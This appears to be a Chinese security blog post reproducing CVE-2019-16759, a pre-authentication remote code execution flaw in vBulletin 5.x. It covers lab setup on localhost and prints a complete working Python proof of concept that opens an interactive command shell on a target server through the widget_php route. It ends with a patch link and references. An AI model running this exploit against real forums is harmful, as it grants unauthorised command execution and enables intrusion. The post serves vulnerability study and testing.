1.vBulletin介绍
vBulletin 是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。vBulletin高效,稳定,安全,在中国也有很多大型客户,比如蜂鸟网,51团购,海洋部落等在线上万人的论坛都用vBulletin。
vBulletin的官方网站是 http://www.vBulletin.com 它不是免费软件,但价格很低。
2.漏洞描述
vBulletin 5.x 爆出一个前台远程代码执行漏洞,无需登录即可触发。poc也在网络上流传。poc地址为:https://seclists.org/fulldisclosure/2019/Sep/31
3.cve编号
CVE-2019-16759
4.影响范围
5.0.0 <= vBulletin <=5.5.4
5.漏洞复现
1.在phpstudy的www目录下上传安装包,然后将安装包改名为vb5,将/vb5/core/includes/config.php.new重命名为config.php,修改数据库密码和数据库名称。在将/vb5/config.php.bkp重命名为config.php。将其中的baseurl设置为vb5目录的url,我这里的为http://127.0.0.1/vb5。游览器输入http://127.0.0.1/vb5/core/install/install.php进行安装。如图,只需要耐心等待并且按照提示设置即可。可参考安装包目录下的vb5readme.html文件。
2.安装成功之后,访问http://127.0.0.1/vb5,如图所示,至此环境搭建成功
3.使用poc验证漏洞
4.poc代码
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = input("vBulletin$ ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
r = requests.post(url = sys.argv[1], data = params)
if r.status_code == 200:
print (r.text)
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception as e:
sys.exit(str(e))
5.安全建议
https://www.vbulletin.com/en/customer/account/login/?goto=aHR0cHM6Ly9tZW1iZXJzLnZidWxsZXRpbi5jb20vcGF0Y2hlcy5waHA%3D
6.参考文章
https://www.cnblogs.com/sch01ar/p/8168996.html
https://github.com/jas502n/CVE-2019-16759
https://xz.aliyun.com/t/6419
https://seclists.org/fulldisclosure/2019/Sep/31
https://www.zzwa.org.cn/1759/